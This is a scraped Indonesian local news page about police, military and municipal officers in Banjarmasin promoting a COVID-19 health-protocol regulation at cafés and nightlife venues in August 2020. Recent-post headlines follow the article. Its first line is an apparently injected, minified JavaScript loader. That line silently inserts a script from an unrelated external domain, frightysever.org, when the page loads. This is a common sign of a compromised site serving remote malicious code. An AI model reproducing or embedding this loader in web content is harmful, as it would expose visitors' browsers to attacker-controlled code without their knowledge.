(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kota Banjarmasin

Perwali Protokol Kesehatan Segera Berlaku, Aparat Gabungan Datangi Café dan THM


KANALKALIMANTAN.COM, BANJARMASIN – Jelang pemberlakukan Perwali Nomor 60 tahun 2020 tentang pelaksanaan dan penegakan hukum protokol kesehatan Covid-19 di Banjarmasin, Polresta Banjarmasin bersama personel BKO Polda Kalsel, Kodim 1007/Banjarmasin dan Satpol PP Kota Banjarmasin menyosialisasikan aturan dan sanksi di café dan tempat hiburan malam, Sabtu (29/8/2020) malam.

Giat personel gabungan ini mendatangi tempat hiburan malam dan cafe-cafe di lima kecamatan di kota Seribu Sungai. Personel juga membagikan dan menempelkan pamplet berisi sanksi mulai dari teguran tertulis atau lisan hingga denda administratif Rp 100 ribu. Kegiatan langsung dipimpin Wakapolresta Banjarmasin AKBP Sabana Atmojo.

“Kita lakukan sosialisasi secara persuasif kepada para pengelola cafe atau tempat hiburan dan masyarakat, sebelum nantinya sanksi bagi para pelanggar diterapkan,” ucap Wakapolresta Banjarmasin.

Selain sosialisasikan aturan tersebut, tiga pilar kota Banjarmasin juga memberikan masker secara gratis sebanyak 250 lembar kepada masyarakat.

Polresta Banjarmasin bersama personel BKO Polda Kalsel, Kodim 1007/Banjarmasin dan Satpol PP Kota Banjarmasin menyosialisasikan aturan dan sanksi di café dan tempat hiburan malam. foto: humas polresta banjarmasin

“Dari hasil giat, sudah sangat jarang masyarakat ditemui tidak menggunakan masker dan mereka mulai memahami, mengerti serta mempedomani akan pentingnya protokol kesehatan,” ujarnya.

Wakapolresta Banjarmasin menuturkan, apa yang dilakukan pihaknya bersama personel gabungan merupakan tindak lanjut dari atensi Kapolda Kalsel Irjen Pol Dr Nico Afinta untuk sosialisasi aturan secara masif kepada masyarakat.

“Kita ingin seiring sejalan, dengan dukung dari masyarakat mempedomani dan menerapkan protokol kesehatan,” tutur Wakapolresta Banjarmasin. (kanalkalimantan.com/fikri)


Al Ghifari

Recent Posts

Sambut Promo Natal & Promo Tahun Baru yang Lebih Seru Dengan Diskon Hingga Rp1,29 Juta!

KANALKALIMANTAN.COM - Setelah sukses menggebrak dengan promo spektakuler di HUT BRI ke-129, kini BRI kembali… Read More

2 jam ago

Pemkab Banjar Serahkan Bantuan Alsintan untuk Sejumlah Desa di Kabupaten Banjar

KANALKALIMANTAN.COM, MARTAPURA - Pemerintah Kabupaten Banjar menyerahkan bantuan alat dan mesin pertanian, di Mahligai Sultan… Read More

3 jam ago

Tak Kuat Menanjak, Truk Bermuatan Keramik Berjalan Mundur di Sungai Ulin

Tiga Mobil Pribadi dan Satu Motor Kena Imbas, Sopir Akui Rem Tak Normal Read More

3 jam ago

PTUN Banjarmasin Tolak Gugatan Atas KPU Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Komisi Pemilihan Umum (KPU) Kota Banjarbaru memenuhi panggilan gugatan di Pengadilan Tata… Read More

4 jam ago

Pemkab Lamandau Terima Penghargaan Anugerah Predikat Penilaian Kepatuhan Penyelenggaraan Pelayanan Publik

KANALKALIMANTAN.COM, NANGA BULIK - Pj Bupati Lamandau Said Salim menghadiri kegiatan selebrasi penyerahan hasil survei… Read More

6 jam ago

Dukung Program Ketahanan Pangan, Kapolda Kalsel Tinjau Kesiapan Lahan 120 Hektare di Kabupaten Banjar

KANALKALIMANTAN.COM, MARTAPURA - Kepolisian Daerah (Polda) Kalimantan Selatan (Kalsel) mendukung program ketahanan pangan dengan menyiapkan… Read More

7 jam ago

This website uses cookies.